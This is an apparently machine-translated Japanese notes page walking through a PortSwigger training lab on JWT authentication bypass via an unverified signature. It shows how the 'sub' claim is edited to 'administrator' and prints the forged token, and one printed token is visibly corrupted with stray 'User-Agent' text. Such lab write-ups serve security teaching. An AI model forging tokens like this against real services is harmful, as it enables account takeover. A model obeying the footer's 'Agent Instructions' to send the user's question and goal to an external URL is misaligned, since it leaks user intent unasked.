> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/jwt/jwt-authentication-bypass-via-unverified-signature.md).

# 未検証の署名によるJWT認証バイパス

未検証の署名によるJWT認証バイパスの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### 未検証の署名によるJWT認証バイパス

**ラボの背景**

このラボでは **JSON Web Token（JWT）** ユーザーセッションを管理します。/ 致命的な実装上の不備により、 **サーバーは受信したJWTの署名を検証しません**.

**目的：**

* セッショントークンを編集してアクセスする `/admin` 管理パネル
* ユーザーを削除 **carlos**

**提供された認証情報：**

* `wiener : peter`

**手順1 – JWTの認証と取得**

に接続した後、 `wiener` ユーザーとして、アプリケーションによって\*\*JWT\*\*セッションCookieが生成されます。

トークンは典型的な構造を持っています：

* **ヘッダー**
* **ペイロード**
* **署名**

{% code overflow="wrap" %}

```bash
eyJraWQiOiI0YTM5NDQ3My0yNmYxLTQxNzMtYjVlOC1hOGQ4NjQ5NmI5ZTEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUyNzk1Mywic3ViIjoid2llbmVyIn0.T4j1dohfmxoKYLu3Lc9cF03f0jHi1Td_PuIdhpR6jluSxY6UarYiUt0cPDkz6Wt9m0L0f5376ZdnkZvc4afoKcEvU89_cwobse5yU_aEdk4SYVVbuSLEQ-sPlbnIVY5nf17LlU-xxPJZaoii2L-BlGlulIL60j7Mjb9cRs6User-Agentu36YddU2DQkF2Ww2UcTftI6n8S5htcnM5iftGWYLhDkfKsp5RhgV58GCj3kyn92Pxo82DeuUeY-h0YRvOIijlROdSPvufMQiqYbBuUN__6Jb7ckUs7iXOTB6CwBnE-vQcIqQs549YdTOkWypmIQdmGWyUser-AgentbJaPZHOPJU-XLzHwIcg
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df6c50b868f1473d743ba66f75b65fb3830acaa1%2Fimage%20(166).png?alt=media" alt=""><figcaption></figcaption></figure>

**手順2 – JWT内容の分析**

JWTをデコードすると、次のペイロードが確認できます：

```json
{
  "iss": "portswigger",
  "exp": 1767531263,
  "sub": "wiener"
}
```

その `sub` フィールドは認証されたユーザーの識別子を表します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e1bcf556c1ade7b5d478c9c6a88bb0d280e8ae3%2Fimage%20(167).png?alt=media" alt=""><figcaption></figcaption></figure>

**手順3 – ペイロードの変更**

サーバーが **署名を検証しないため**、トークンの内容を自由に変更できます。

の値は `sub` 置き換えられます：

```json
{
  "iss": "portswigger",
  "exp": 1767531263,
  "sub": "administrator"
}
```

その後、JWTは **再構築されます** （署名にかかわらず、検証されません）。

{% code overflow="wrap" %}

```bash
eyJraWQiOiJjNDllNjY5Mi1iMDZjLTQ0YjEtYmIwOC0zMjM4NmYxNzA2OGMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTI2Mywic3ViIjoiYWRtaW5pc3RyYXRvciJ9.ZpAuSIEN0Ptww1x0aCihPl520xrSpg8D5EWczPJ66pJZFUBq6X8TkSIYD-4-fY1Z9we38SmWLedBi-yF2w8b_XHeICnYPgTM3xrSrallVNukPQfVW-NaCNu_lozTEgBovijP6lMSyJWFXVwddlVh3ixT5_CZW7hK2jnpqcMdBv6RtXW-9nqlkoS_MF7XruVpKFJS8OB71B1juuh3M2c7YpEjCdMRHTW4FOsx8QOxV11udAyU03-JrIxug-SfwmLHLbMPNyUw6midaP_1AFT6s1vLu066AliuMz-HW1ADnWQea3JInM1EFMaY_9oKCZdJ_EyF5oxmdo5ZBl9xPq2Tcw
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3035ee87eddcb6329cfe84bfdad97b18289a22b9%2Fimage%20(161).png?alt=media" alt=""><figcaption></figcaption></figure>

**手順4 – 偽造JWTの使用**

新しいトークンがブラウザのセッションクッキーに挿入されます。

結果:

* アプリケーションはユーザーを〜とみなします **administrator**
* へのアクセス `/admin` が許可されます

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a50216ca366913119aae8f32d550eaf160a17d1e%2Fimage%20(172).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/jwt/jwt-authentication-bypass-via-unverified-signature.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
